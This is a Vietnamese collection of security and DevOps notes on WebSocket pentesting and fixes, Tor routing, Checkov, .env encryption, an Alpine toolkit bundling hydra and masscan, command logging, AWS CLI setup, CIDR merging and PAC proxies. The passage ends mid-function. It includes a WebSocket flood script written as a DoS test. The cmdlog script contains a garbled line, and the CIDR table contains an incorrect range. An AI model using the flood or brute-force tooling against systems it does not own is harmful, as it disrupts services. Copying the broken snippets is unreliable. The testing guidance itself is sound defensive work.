# Các lỗi thường bảo mật với Websocket

## **🔍 Pentest WebSocket & Các Lỗ Hổng Bảo Mật**

***

### **📌 1. Các Lỗ Hổng Bảo Mật Thường Gặp trên WebSocket**

Dưới đây là các **lỗ hổng bảo mật nguy hiểm** thường xảy ra trên WebSocket:

#### **1️⃣ No Authentication / Authorization Bypass**

🔥 **Lỗi:** Không kiểm tra **JWT / Token** khi client gửi request WebSocket.\
📌 **Cách kiểm tra bằng Burp Suite/ZAP:**

* Chặn WebSocket **và thay đổi `token` thành giá trị rỗng hoặc của user khác**.
* Nếu vẫn có thể gửi request → WebSocket không kiểm tra quyền truy cập.

✅ **Cách fix:**

* **Luôn xác thực JWT khi client kết nối**.

```javascript
io.use((socket, next) => {
  const token = socket.handshake.auth.token;
  if (!token) return next(new Error("Authentication error"));

  jwt.verify(token, process.env.JWT_SECRET, (err, decoded) => {
    if (err) return next(new Error("Invalid token"));
    socket.user = decoded;
    next();
  });
});
```

***

#### **2️⃣ WebSocket Data Manipulation**

🔥 **Lỗi:** Client có thể **gửi request độc hại** vì không có xác thực dữ liệu.\
📌 **Cách kiểm tra bằng Burp Suite/ZAP:**

* Chặn gói WebSocket và thay đổi nội dung gửi lên server.
* Nếu server không kiểm tra, có thể gây lỗi **SQL Injection / XSS**.

✅ **Cách fix:**

* **Luôn kiểm tra dữ liệu đầu vào** từ WebSocket.

```javascript
socket.on("sendMessage", (data) => {
  if (typeof data.message !== "string" || data.message.length > 500) {
    return socket.emit("error", "Invalid message format");
  }
  io.emit("message", data);
});
```

***

#### **3️⃣ WebSocket Cross-Site Hijacking (CSWSH)**

🔥 **Lỗi:** Một trang web độc hại có thể kết nối WebSocket đến server nếu không có bảo vệ CORS.\
📌 **Cách kiểm tra bằng Burp Suite/ZAP:**

* Mở trang độc hại trong trình duyệt và thử kết nối đến WebSocket server của bạn.

✅ **Cách fix:**

* **Chỉ cho phép WebSocket từ domain hợp lệ.**

```javascript
const io = new Server(server, {
  cors: {
    origin: "https://yourdomain.com",
    methods: ["GET", "POST"],
  },
});
```

***

#### **4️⃣ WebSocket Message Replay Attack**

🔥 **Lỗi:** Hacker có thể **chụp gói tin WebSocket** và gửi lại để lặp lại hành động.\
📌 **Cách kiểm tra bằng Burp Suite:**

* Chặn request WebSocket **và gửi lại** gói tin cũ.
* Nếu server không phát hiện ra **replay attack**, lỗi tồn tại.

✅ **Cách fix:**

* **Thêm timestamp và signature vào mỗi request** để chống replay.

```javascript
socket.on("transaction", (data) => {
  if (Date.now() - data.timestamp > 5000) {
    return socket.emit("error", "Request expired");
  }
});
```

***

#### **5️⃣ WebSocket Denial-of-Service (DoS)**

🔥 **Lỗi:** Hacker gửi **hàng triệu request WebSocket** để làm chậm hoặc crash server.\
📌 **Cách kiểm tra bằng Python:**

```python
import websocket
ws = websocket.WebSocket()
ws.connect("ws://your-websocket-url")
for _ in range(100000):
    ws.send("SPAM SPAM SPAM")
```

✅ **Cách fix:**

* **Dùng Rate Limiting với Redis để giới hạn request.**

```javascript
import rateLimit from "express-rate-limit";

const wsLimiter = rateLimit({
  windowMs: 60 * 1000, // 1 phút
  max: 100, // 100 request mỗi phút
  message: "Too many WebSocket requests, please slow down.",
});

io.use((socket, next) => {
  wsLimiter(socket.request, socket.request.res, next);
});
```

***

### **🎯 Tổng Kết**

| **Lỗ Hổng**           | **Cách Kiểm Tra**                                         | **Cách Fix**                             |
| --------------------- | --------------------------------------------------------- | ---------------------------------------- |
| **No Authentication** | Dùng Burp Suite/ZAP để thử kết nối WebSocket không có JWT | Xác thực JWT trước khi kết nối           |
| **Data Manipulation** | Dùng Burp Suite/ZAP để sửa nội dung request WebSocket     | Kiểm tra dữ liệu đầu vào                 |
| **CSWSH Attack**      | Dùng trang web độc hại để kết nối WebSocket               | Cấu hình CORS chỉ cho phép domain hợp lệ |
| **Message Replay**    | Gửi lại request cũ bằng Burp Suite/ZAP                    | Thêm timestamp & signature vào request   |
| **WebSocket DoS**     | Gửi hàng triệu request bằng script Python                 | Thêm Rate Limiting vào WebSocket         |

&#x20;


# Cấu Hình Tor Trên CLI Ubuntu

## 🧅 Hướng Dẫn Cài Đặt & Cấu Hình Tor Trên CLI Ubuntu

Tor (The Onion Router) là một công cụ mạnh mẽ giúp bảo vệ quyền riêng tư và ẩn danh khi truy cập internet. Bài viết này hướng dẫn cách cài đặt và cấu hình Tor trên dòng lệnh (CLI) trong môi trường Linux (Ubuntu/Debian).

***

### ✅ Bước 1: Cài đặt Tor

Trên Ubuntu hoặc Debian, bạn có thể cài đặt Tor dễ dàng từ kho chính thức:

```bash
sudo apt update
sudo apt install tor -y
```

Sau khi cài đặt, dịch vụ Tor sẽ được khởi động tự động.

***

### ✅ Bước 2: Kiểm tra trạng thái dịch vụ

Kiểm tra xem Tor đã hoạt động chưa:

```bash
sudo systemctl status tor
```

Nếu chưa chạy, bật dịch vụ bằng lệnh:

```bash
sudo systemctl enable --now tor
```

***

### ✅ Bước 3: Cấu hình Tor trong `/etc/tor/torrc`

Để cấu hình Tor, ta chỉnh sửa file cấu hình chính:

```bash
sudo nano /etc/tor/torrc
```

Một số thiết lập cơ bản:

#### 🎯 Cấu hình sử dụng như SOCKS5 proxy:

```bash
SocksPort 127.0.0.1:9050
Log notice file /var/log/tor/notices.log
```

#### 🎯 Cấu hình nâng cao để định tuyến DNS:

```bash
SocksPort 127.0.0.1:9050
DNSPort 53
AutomapHostsOnResolve 1
VirtualAddrNetworkIPv4 10.192.0.0/10
```

Sau khi chỉnh sửa, lưu lại và khởi động lại Tor:

```bash
sudo systemctl restart tor
```

***

### ✅ Bước 4: Kiểm tra hoạt động của Tor

Dùng `curl` hoặc các công cụ hỗ trợ proxy SOCKS5 để kiểm tra:

```bash
curl --socks5 127.0.0.1:9050 https://check.torproject.org/
```

Nếu thấy dòng:

> "Congratulations. This browser is configured to use Tor."\
> → Tor đã hoạt động thành công!

***

### ✅ Bước 5 (Tuỳ chọn): Định tuyến toàn bộ traffic hệ thống qua Tor

Bạn có thể cấu hình để tất cả lưu lượng mạng (bao gồm DNS và TCP) đi qua Tor. Lưu ý: chỉ nên áp dụng trong môi trường thử nghiệm hoặc gateway ảo hóa.

#### ✳️ 1. Bật IP forwarding

```bash
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
```

#### ✳️ 2. Cấu hình iptables:

```bash
# Xóa các rule cũ
sudo iptables -F
sudo iptables -t nat -F

# Redirect DNS và TCP
sudo iptables -t nat -A OUTPUT -p udp --dport 53 -j REDIRECT --to-ports 9053
sudo iptables -t nat -A OUTPUT -p tcp --syn -j REDIRECT --to-ports 9040
```

#### ✳️ 3. Chỉnh sửa file torrc tương ứng:

```bash
TransPort 9040
DNSPort 9053
```

Sau đó restart lại dịch vụ Tor.

***

### 🔐 Lưu ý bảo mật

* Không sử dụng Tor để truy cập tài khoản cá nhân hoặc các dịch vụ nhạy cảm nếu không hiểu rõ về mô hình ẩn danh.
* Đảm bảo kiểm soát ứng dụng nào được định tuyến qua Tor.


# Sử dụng Checkov để quét bảo mật cho hạ tầng

Hướng dẫn **cài đặt và sử dụng Checkov** để quét bảo mật cho hạ tầng dạng mã (Infrastructure as Code – IaC), đặc biệt là **Terraform**, **Kubernetes YAML**, **CloudFormation**, v.v.

***

### 🧩 BƯỚC 1: Cài đặt Checkov

#### ✅ Cách 1: Dùng `pip` (Python >= 3.7)

```bash
pip install checkov
```

> Nếu dùng `pipx` thì có thể cài riêng môi trường:

```bash
pipx install checkov
```

#### ✅ Cách 2: Dùng Docker

Không cần cài Python:

```bash
docker run --rm -v $(pwd):/iac bridgecrew/checkov -d /iac
```

***

### 📁 BƯỚC 2: Chuẩn bị file để quét

Bạn có thể test với một file Terraform ví dụ như sau (`main.tf`):

```hcl
resource "aws_s3_bucket" "mybucket" {
  bucket = "my-unsecure-bucket"

  acl    = "public-read"  # Lỗi bảo mật!
}
```

Hoặc với Kubernetes YAML (`nginx.yaml`):

```yaml
apiVersion: v1
kind: Pod
metadata:
  name: nginx
spec:
  containers:
    - name: nginx
      image: nginx:latest
```

***

### 🚀 BƯỚC 3: Chạy Checkov để quét mã

#### 🔹 Với Terraform:

```bash
checkov -d . --framework terraform
```

#### 🔹 Với Kubernetes YAML:

```bash
checkov -d . --framework kubernetes
```

#### 🔹 Quét nhiều loại IaC:

```bash
checkov -d . --framework terraform,kubernetes,cloudformation
```

***

### 📝 BƯỚC 4: Đọc kết quả

Checkov sẽ in ra các rule phát hiện lỗi:

```
Check: CKV_AWS_20: "S3 Bucket has public read ACL."
File: /main.tf:3-7
Severity: MEDIUM

        resource "aws_s3_bucket" "mybucket" {
        +  acl    = "public-read"
        }
```

Bạn sẽ thấy:

* **Check ID** (`CKV_AWS_20`)
* **Mô tả lỗi**
* **Severity** (LOW/MEDIUM/HIGH/CRITICAL)
* **Dòng mã cụ thể**

***

### 📤 BƯỚC 5: Xuất kết quả (tuỳ chọn)

Checkov hỗ trợ nhiều định dạng output:

| Format       | Flag sử dụng         |
| ------------ | -------------------- |
| JSON         | `--output json`      |
| JUnit XML    | `--output junitxml`  |
| GitHub SARIF | `--output sarif`     |
| CycloneDX    | `--output cyclonedx` |

Ví dụ:

```bash
checkov -d . --output json > result.json
```

***

### ⚙️ BƯỚC 6: Một số tùy chọn hữu ích

| Option                        | Tác dụng                                      |
| ----------------------------- | --------------------------------------------- |
| `--quiet`                     | Chỉ in kết quả lỗi                            |
| `--skip-check CKV_AWS_20`     | Bỏ qua 1 check cụ thể                         |
| `--check CKV_AWS_20`          | Chạy 1 check cụ thể                           |
| `--compact`                   | Hiển thị gọn hơn                              |
| `--soft-fail`                 | Không exit code 1 nếu có lỗi (hữu ích cho CI) |
| `--config-file .checkov.yaml` | Cấu hình checkov qua file                     |

***

### 🔧 BƯỚC 7: Tạo rule tùy chỉnh (advanced)

Tạo file YAML như sau để viết policy riêng:

```yaml
metadata:
  name: "S3 Bucket must not be public"
  id: "CUSTOM_AWS_1"
  category: "Security"
definition:
  cond_type: attribute
  resource_types:
    - aws_s3_bucket
  attribute: acl
  operator: not_equals
  value: "public-read"
```

Sau đó chạy:

```bash
checkov -d . --external-checks-dir ./custom-rules
```

***


# Tool bảo vệ file .env khi đẩy lên git

Tool dùng cho mục đích mã hóa file .env có thể đồng bộ lên gits file .env.vault  mà không sợ bị lộ thông tin

```
#!/bin/bash

# Màu sắc giao diện cho đẹp và dễ nhìn
GREEN='\033[0;32m'
BLUE='\033[0;34m'
YELLOW='\033[1;33m'
RED='\033[0;31m'
NC='\033[0m' # No Color

# File cấu hình mẫu
ENV_FILE=".env"
EXAMPLE_FILE=".env.example"
VAULT_FILE=".env.vault"
KEYS_FILE=".env.keys"

# Hàm hiển thị tiêu đề
show_header() {
    clear
    echo -e "${BLUE}==================================================${NC}"
    echo -e "${BLUE}     HỆ THỐNG QUẢN LÝ & BACKUP BIẾN MÔI TRƯỜNG     ${NC}"
    echo -e "${BLUE}==================================================${NC}"
}

# Hàm tạm dừng để xem kết quả
pause() {
    echo ""
    read -p "Nhấn [Enter] để quay lại Menu..."
}

# 1. Khởi tạo cấu hình ban đầu
init_project() {
    show_header
    echo -e "${YELLOW}[1/3] Kiểm tra & Cấu hình .gitignore...${NC}"
    
    # Tạo .gitignore nếu chưa có
    if [ ! -f ".gitignore" ]; then
        touch .gitignore
    fi

    # Thêm .env và .env.keys vào .gitignore nếu chưa có
    for file in "$ENV_FILE" "$KEYS_FILE"; do
        if ! grep -q "^$file$" .gitignore; then
            echo "$file" >> .gitignore
            echo -e "${GREEN}• Đã thêm $file vào .gitignore${NC}"
        else
            echo -e "• $file đã có trong .gitignore từ trước."
        fi
    done

    echo -e "\n${YELLOW}[2/3] Tạo file .env.example tự động...${NC}"
    if [ -f "$ENV_FILE" ]; then
        # Copy cấu hình nhưng xóa giá trị, giữ lại key
        awk -F= '{print $1 "="}' "$ENV_FILE" > "$EXAMPLE_FILE"
        echo -e "${GREEN}• Đã tạo/cập nhật $EXAMPLE_FILE thành công từ $ENV_FILE.${NC}"
    else
        echo -e "${RED}• Không tìm thấy file .env thô để tạo file mẫu.${NC}"
    fi

    echo -e "\n${YELLOW}[3/3] Kiểm tra môi trường Node.js...${NC}"
    if [ ! -f "package.json" ] && [ -d ".git" ]; then
        echo -e "${YELLOW}• Mẹo: Bản @dotenvx/dotenvx chạy trực tiếp qua npx không cần cài cứng vào package.json.${NC}"
    fi
    
    echo -e "\n${GREEN}==> HOÀN THÀNH KHỞI TẠO! Dự án đã sẵn sàng sử dụng dotenvx.${NC}"
    pause
}

# 2. Mã hóa file .env (Sử dụng OpenSSL AES-256-CBC — có sẵn trên mọi server)
build_vault() {
    show_header
    echo -e "${YELLOW}Đang tiến hành mã hóa file .env bằng OpenSSL AES-256...${NC}"
    if [ ! -f "$ENV_FILE" ]; then
        echo -e "${RED}Lỗi: Không tìm thấy file .env ở local để mã hóa!${NC}"
    else
        read -sp "Nhập mật khẩu mã hóa: " enc_pass
        echo ""
        read -sp "Xác nhận mật khẩu: " enc_pass2
        echo ""
        if [ "$enc_pass" != "$enc_pass2" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không khớp!${NC}"
        elif [ -z "$enc_pass" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không được để trống!${NC}"
        else
            openssl enc -aes-256-cbc -salt -pbkdf2 -in "$ENV_FILE" -out "$VAULT_FILE" -pass "pass:${enc_pass}"
            if [ $? -eq 0 ]; then
                echo -e "\n${GREEN}✓ Thành công! Đã mã hóa .env → ${VAULT_FILE}${NC}"
                echo -e "${YELLOW}Lưu ý: Commit file ${VAULT_FILE} lên Git để backup. KHÔNG commit .env gốc!${NC}"
            else
                echo -e "${RED}Lỗi: Quá trình mã hóa thất bại.${NC}"
            fi
        fi
    fi
    pause
}

# 3. Giải mã file .env.vault
decrypt_vault() {
    show_header
    echo -e "${YELLOW}Giải mã file ${VAULT_FILE}...${NC}"
    if [ ! -f "$VAULT_FILE" ]; then
        echo -e "${RED}Lỗi: Không tìm thấy file ${VAULT_FILE}!${NC}"
    else
        read -sp "Nhập mật khẩu giải mã: " dec_pass
        echo ""
        if [ -z "$dec_pass" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không được để trống!${NC}"
        else
            openssl enc -aes-256-cbc -d -pbkdf2 -in "$VAULT_FILE" -out "$ENV_FILE" -pass "pass:${dec_pass}"
            if [ $? -eq 0 ] && [ -s "$ENV_FILE" ]; then
                echo -e "\n${GREEN}✓ Giải mã thành công! Đã tái tạo file .env${NC}"
            else
                echo -e "${RED}Lỗi: Giải mã thất bại. Sai mật khẩu hoặc file bị hỏng.${NC}"
                rm -f "$ENV_FILE"
            fi
        fi
    fi
    pause
}

# 4. Backup file .env thủ công (OpenSSL)
backup_gpg() {
    show_header
    echo -e "${YELLOW}Sao lưu .env bằng OpenSSL AES-256...${NC}"
    if [ ! -f "$ENV_FILE" ]; then
        echo -e "${RED}Lỗi: Không có file .env để backup!${NC}"
    else
        backup_name=".env.$(date +%Y%m%d_%H%M%S).enc"
        read -sp "Nhập mật khẩu bảo vệ backup: " bk_pass
        echo ""
        if [ -z "$bk_pass" ]; then
            echo -e "${RED}Lỗi: Mật khẩu không được để trống!${NC}"
        else
            openssl enc -aes-256-cbc -salt -pbkdf2 -in "$ENV_FILE" -out "$backup_name" -pass "pass:${bk_pass}"
            if [ $? -eq 0 ]; then
                echo -e "\n${GREEN}✓ Backup thành công! File: ${backup_name}${NC}"
                echo -e "${YELLOW}Lưu trữ file .enc này ở nơi an toàn.${NC}"
            else
                echo -e "${RED}Lỗi: Backup thất bại.${NC}"
            fi
        fi
    fi
    pause
}

# 5. Khôi phục file .env từ backup
restore_gpg() {
    show_header
    echo -e "${YELLOW}Khôi phục file .env từ backup...${NC}"
    
    files=(*.enc *.gpg)
    # Filter out non-existing glob patterns
    existing_files=()
    for f in "${files[@]}"; do
        [ -f "$f" ] && existing_files+=("$f")
    done

    if [ ${#existing_files[@]} -eq 0 ]; then
        echo -e "${RED}Không tìm thấy file backup (.enc/.gpg) nào!${NC}"
        pause
        return
    fi

    echo -e "${BLUE}Các file backup hiện có:${NC}"
    for i in "${!existing_files[@]}"; do
        echo -e " [$i] ${existing_files[$i]}"
    done

    read -p "Chọn số thứ tự file: " file_idx
    selected_file="${existing_files[$file_idx]}"

    if [ -f "$selected_file" ]; then
        read -sp "Nhập mật khẩu giải mã: " rs_pass
        echo ""
        openssl enc -aes-256-cbc -d -pbkdf2 -in "$selected_file" -out "$ENV_FILE" -pass "pass:${rs_pass}"
        if [ $? -eq 0 ] && [ -s "$ENV_FILE" ]; then
            echo -e "\n${GREEN}✓ Khôi phục thành công file .env!${NC}"
        else
            echo -e "${RED}Lỗi: Giải mã thất bại. Sai mật khẩu hoặc file lỗi.${NC}"
            rm -f "$ENV_FILE"
        fi
    else
        echo -e "${RED}Lựa chọn không hợp lệ!${NC}"
    fi
    pause
}

# Vòng lặp Menu chính
while true; do
    show_header
    echo -e " [1] Khởi tạo dự án (Cấu hình gitignore + .env.example)"
    echo -e " [2] Mã hóa .env (Tạo/Cập nhật .env.vault bằng OpenSSL)"
    echo -e " [3] Giải mã .env.vault (Cần nhập mật khẩu)"
    echo -e "--------------------------------------------------"
    echo -e " [4] Backup file .env (Mã hóa OpenSSL AES-256)"
    echo -e " [5] Khôi phục .env từ file backup"
    echo -e "--------------------------------------------------"
    echo -e " [0] Thoát chương trình"
    echo -e "${BLUE}==================================================${NC}"
    read -p "Vui lòng chọn một tính năng [0-5]: " choice

    case $choice in
        1) init_project ;;
        2) build_vault ;;
        3) decrypt_vault ;;
        4) backup_gpg ;;
        5) restore_gpg ;;
        0) 
            echo -e "${GREEN}Cảm ơn bạn đã sử dụng. Tạm biệt!${NC}"
            exit 0 
            ;;
        *) 
            echo -e "${RED}Lựa chọn không hợp lệ, vui lòng thử lại!${NC}"
            sleep 1
            ;;
    esac
done
```


# For Engineering

Alpine Linux: Hệ Điều Hành Tối Ưu Cho Microservices & Security Toolkit

## 🧊 Alpine Linux: Hệ Điều Hành Tối Ưu Cho Microservices & Security Toolkit

Trong thời đại **cloud-native**, tính nhẹ, bảo mật và hiệu năng cao là những yếu tố then chốt để triển khai ứng dụng một cách linh hoạt. **Alpine Linux**, một bản phân phối tối giản và bảo mật, đang dần trở thành nền tảng lý tưởng cho cả **microservices** lẫn các **security toolkit** chuyên dụng.

***

### 📌 Tổng Quan Về Alpine Linux

**Alpine Linux** là một bản phân phối Linux siêu nhẹ (\~5MB), sử dụng `musl libc` và `busybox` để giảm thiểu dung lượng và surface tấn công. Trình quản lý gói `apk` của Alpine cho phép cài đặt nhanh và linh hoạt các phần mềm, đặc biệt phù hợp với môi trường **Docker/Kubernetes**.

#### ✅ Ưu điểm nổi bật:

* Image tối giản, siêu nhẹ (\~5MB)
* Boot nhanh, hiệu năng cao
* Trình quản lý gói `apk` gọn nhẹ, nhanh
* Tăng cường bảo mật (ít cài mặc định, dùng `musl`, hỗ trợ `PaX/grsecurity`)
* Tối ưu cho CI/CD, DevOps, serverless, container-based infra

#### ❌ Hạn chế:

* Không tương thích 100% với `glibc` (dễ lỗi khi dùng phần mềm phức tạp)
* Thiếu các công cụ quen thuộc mặc định (bash, curl, ping...)
* Không thân thiện với người dùng Desktop

***

### 🧱 Ứng Dụng 1: Alpine cho Microservice Gọn Nhẹ

Đối với các ứng dụng backend như Node.js, Python hoặc Go, Alpine là lựa chọn số một khi cần **build Docker image nhỏ gọn**, đảm bảo tốc độ khởi động nhanh và tiết kiệm chi phí tài nguyên.

#### 📦 Ví dụ Dockerfile Node.js Microservice:

```dockerfile
FROM node:20-alpine

RUN apk add --no-cache bash curl tini libc6-compat python3 make g++

RUN addgroup -S appgroup && adduser -S appuser -G appgroup
WORKDIR /app
COPY package*.json ./
RUN npm install --production
COPY . .
USER appuser

ENTRYPOINT ["/sbin/tini", "--"]
CMD ["node", "index.js"]
```

✅ **Ưu điểm:**

* Không chạy với root (hardening tốt hơn)
* Tích hợp `tini` chống zombie process
* Phù hợp để deploy trên ECS, GKE, hoặc Lambda container

***

### 🛡️ Ứng Dụng 2: Alpine làm Security Box Nhẹ Gọn

Khi cần một môi trường kiểm thử bảo mật nhanh chóng, không cần Kali Linux cồng kềnh, Alpine có thể build thành một **security box nhỏ gọn**, chứa đầy đủ công cụ pentest cơ bản.

#### 🔧 Danh sách công cụ tích hợp:

* `nmap`, `tcpdump`, `curl`, `socat` – kiểm thử mạng
* `hydra` – brute-force các dịch vụ SSH/FTP
* `masscan`, `zmap` – quét mạng tốc độ cao
* `amass` – OSINT + enum subdomain
* `nikto` – quét lỗ hổng web
* `iptables`, `wireguard`, `openssh` – bảo mật mạng

#### 🧪 Dockerfile Alpine Security Toolkit:

```dockerfile
FROM alpine:latest

RUN apk add --no-cache bash curl git nmap iproute2 net-tools tcpdump \
    openssh iptables wireguard-tools socat coreutils make build-base \
    libpcap-dev python3 py3-pip perl openssl-dev zmap go

RUN git clone https://github.com/vanhauser-thc/thc-hydra.git /opt/hydra && \
    cd /opt/hydra && ./configure && make && make install && cd / && rm -rf /opt/hydra

RUN git clone https://github.com/robertdavidgraham/masscan.git /opt/masscan && \
    cd /opt/masscan && make && cp bin/masscan /usr/local/bin && cd / && rm -rf /opt/masscan

RUN go install github.com/owasp-amass/amass/v4/...@latest && \
    ln -s /root/go/bin/amass /usr/local/bin/amass

RUN git clone https://github.com/sullo/nikto.git /opt/nikto && \
    ln -s /opt/nikto/nikto.pl /usr/local/bin/nikto

WORKDIR /root
CMD ["/bin/sh"]
```

🎯 **Sử dụng:**

```bash
docker run --rm -it --cap-add=NET_ADMIN --network host alpine-security-box
```


# Thiết lập cấu hình CMD log

Thiết lập cấu hình CMD log trên Linux phục vụ việc giám sát các câu lệnh được sử dụng trong CLI

Code file bash

```
#!/bin/sh
echo "#Log cmdlog" >> /etc/rsyslog.conf
echo "local6.*           /var/log/cmdlog.log" >> /etc/rsyslog.conf
echo "
/var/log/cmdlog.log
{
   compress
   weekly
   rotate 12
   sharedscripts	
   postrotate
        /bin/kill -HUP \`cat /var/run/syslogd.pid 2> /dev/null\` 2> /dev/null || true
    endscript
}
" > /etc/logrotate.d/cmdloghttps://github.com/a2o/snoopyecho ""
echo "
export PROMPT_COMMAND='RETRN_VAL=\$?;logger -p local6.debug \"[cmdlog] \$(whoami) [\$\$]: \$(history 1 | sed \"s/^[ ]*[0-9]\+[ ]*//\" ) [\$RETRN_VAL] [\$(echo \$SSH_CLIENT | cut -d\" \" -f1)]\"'
" >> /etc/bashrc
systemctl restart rsyslog
echo "Finish Config CMDlog"
```

Hoặc bạn có thể sử dụng Snnopy

```
https://github.com/a2o/snoopy
```

```
https://github.com/a2o/snoopy/releases/download/snoopy-2.4.14/snoopy-2.4.14.tar.gz
```

```
https://github.com/a2o/snoopy/blob/master/doc/INSTALL.md
```

```
https://github.com/a2o/snoopy/releases/download/snoopy-2.4.14/snoopy-2.4.14.tar.gz
```


# Cấu hình CLI kết nối đến AWS

## 1. Get Access ID và KEY

Đăng nhập vào AWS - > IAM -> Users

Chọn User -> Tab Security Credential - > cần tạo kéo tới Access keys, click chọn Create Access Key.

![](https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2Fgit-blob-5e28e9838ebcf80653833cb742825b07ff4d1dc5%2Fimage.png?alt=media)

Sau khi tạo song bạn sẽ có 1 Access key ID và một Private key dùng cho việc kết nối qua AWS CLI. Lưu ý việc file Key của AWS rất quan trọng nên bạn cần lưu trữ tốt key tránh làm mất file CVS hoặc Key.

### 2. Cấu hình AWS CLi

Để cấu hình sử dụng AWS Cli bạn có 2 cách dùng cho việc cấu hình, ở đây mình sẽ hướng dẫn 2 cách đơn giản nhất.

**Cách 1: Cấu hình qua dòng lệnh**

```
aws configure
AWS Access Key ID [None]: ***************
AWS Secret Access Key [None]: ***********
Default region name [None]: us-west-2
Default output format [None]: json
```

Default output format : Kiểu dữ liệu show ra khi get lệnh

**Cách 2: Cấu hình bằng cách import file CSV**

```
aws configure import –csv file://credentials.csv
```

Để kiểm tra bạn đã cấu hình thành công chưa

```
aws configure list
```

Hoặc để cấu hình nhanh hơn như thường lệ làm trên Linux hay Mac các bạn có thể cấu hình thẳng trong file config như sau:

**`~/.aws/credentials`**

```
[default]
aws_access_key_id=AKIAIOSFODNN7EXAMPLE
aws_secret_access_key=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
```

**`~/.aws/config`**

```
[default]
region=us-west-2
output=json
```


# Sử dụng PET

Simple command-line snippet manager

#### 1. Cài đặt và sử dụng PET trên Ubuntu

```
sudo apt-get install linuxbrew-wrapper
wget https://github.com/knqyf263/pet/releases/download/v0.3.6/pet_0.3.6_linux_amd64.deb
dpkg -i pet_0.3.6_linux_amd64.deb
```

Sau khi đã cài đặt thành công

![](https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2Fgit-blob-c135aea675233b63c6251e0d1524c017ba20e52a%2Fimage.png?alt=media)

![](https://2228498603-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F0lSGvKwtJHW3HsU6FBvs%2Fuploads%2Fgit-blob-ba3c11475885c1a9e8f5cdfbcc2357a431985292%2Fimage.png?alt=media)

Ví dụ câu lệnh Monitor DDOS

```
netstat -nap | grep \:80\  | awk '{print $5}' | tr ":" " " | awk '{print $1}' | sort | uniq -c | sort -n
```


# 🔧 Gom Nhóm IP Thành Subnet CIDR Tối Ưu

Trong quá trình cấu hình firewall, proxy, WAF (ModSecurity), hay security group trên các hệ thống cloud/on-premise, việc phải liệt kê từng địa chỉ IP riêng biệt là cực kỳ tốn thời gian và dễ nhầm lẫn.

🎯 Mục tiêu

Tự động gom các IP rời rạc thành **các subnet nhỏ nhất có thể** sử dụng CIDR notation – giúp:

* Giảm dòng cấu hình cần gõ
* Tối ưu rule firewall
* Dễ kiểm soát, bảo trì về sau

***

### 💡 Ví dụ đầu vào:

Danh sách IP ban đầu:

```
192.168.1.1
192.168.1.2
192.168.1.3
192.168.1.4
192.168.1.10
192.168.1.11
192.168.2.100
192.168.2.101
192.168.2.102
192.168.2.103
192.168.2.200
```

***

### 🧠 Kết quả sau khi tối ưu subnet:

| `192.168.1.1/32` | 192.168.1.1 |
| ---------------- | ----------- |

| `192.168.1.2/31` | 192.168.1.2 – 192.168.1.3 |
| ---------------- | ------------------------- |

| `192.168.1.4/32` | 192.168.1.4 |
| ---------------- | ----------- |

| `192.168.1.10/31` | 192.168.1.10 – 192.168.1.11 |
| ----------------- | --------------------------- |

| `192.168.2.100/30` | 192.168.2.100 – 192.168.2.10 |
| ------------------ | ---------------------------- |

| `192.168.2.200/32` | 192.168.2.200 |
| ------------------ | ------------- |

### 🛠 Code Python tự động gom subnet

```python
from netaddr import IPAddress, IPSet, cidr_merge

ip_list = [
    '192.168.1.1',
    '192.168.1.2',
    '192.168.1.3',
    '192.168.1.4',
    '192.168.1.10',
    '192.168.1.11',
    '192.168.2.100',
    '192.168.2.101',
    '192.168.2.102',
    '192.168.2.103',
    '192.168.2.200'
]

ip_set = IPSet(IPAddress(ip) for ip in ip_list)
merged_subnets = cidr_merge(ip_set.iter_cidrs())

print("Các subnet tối ưu:")
for subnet in merged_subnets:
    print(subnet)

```

***

### 📦 Cài đặt thư viện cần thiết:

```bash
pip install netaddr
```

***

### 🧩 Ứng dụng thực tế:

* Tạo whitelist IP cho NGINX, Apache, iptables
* Nhập nhanh security group vào AWS/GCP/Azure
* Giảm tải khi audit hệ thống

***


# PAC Proxy: Tự Động Cấu Hình Proxy Trong Môi Trường Doanh Nghiệp

#### I. PAC Proxy là gì?

PAC (Proxy Auto-Config) là một tệp tin JavaScript đặc biệt được sử dụng để xác định tự động xem một truy cập web nên đi qua proxy nào hoặc đi trực tiếp. Các doanh nghiệp thường dùng PAC file để:

* Chỉnh tuyến linh hoạt theo IP, domain, hoặc thời gian
* Tránh việc áp dụng proxy một cách cứng nhắc cho tất cả kế nối
* Giảm tải cho proxy và nâng cao hiệu suất

PAC file chỉ có duy nhất một hàm:

```
function FindProxyForURL(url, host)
```

Hàm này được trình duyệt gọ i mỗi khi truy cập website, và nó trả về chuỗi proxy hoặc "DIRECT".

***

#### II. Các Cách Trả Về Từ PAC

| Chuỗi trả về               | Ý nghĩa                                                   |
| -------------------------- | --------------------------------------------------------- |
| `DIRECT`                   | Kết nối trực tiếp, không qua proxy                        |
| `PROXY host:port`          | Dùng proxy HTTP tại host và port nhập                     |
| `SOCKS host:port`          | Dùng proxy SOCKS (nếu trình duyệt hỗ trợ)                 |
| `PROXY A; PROXY B; DIRECT` | Thử theo thứ tự động proxy A, rồi đến B, cuối cùng DIRECT |

***

#### III. Các Hàm JavaScript Hỗ Trợ Trong PAC

| Hàm                           | Mô tả                                             |
| ----------------------------- | ------------------------------------------------- |
| `dnsDomainIs(host, domain)`   | Kiểm tra domain có khớp                           |
| `shExpMatch(str, shexp)`      | So khớp theo shell wildcard (VD: `*.example.com`) |
| `isInNet(ip, pattern, mask)`  | Kiểm tra IP thuộc subnet                          |
| `dnsResolve(host)`            | Lây IP từ hostname                                |
| `myIpAddress()`               | IP của thiết bị client                            |
| `timeRange(), weekdayRange()` | Dùng cho logic theo giờ/ngày                      |

***

#### IV. Ví Dụ Thực Tế

**1. Đơn Giản:**

```
function FindProxyForURL(url, host) {
    if (shExpMatch(host, "*.example.com")) {
        return "PROXY proxy.example.com:8080";
    }
    return "DIRECT";
}
```

**2. Phức tạp:**

```
function FindProxyForURL(url, host) {
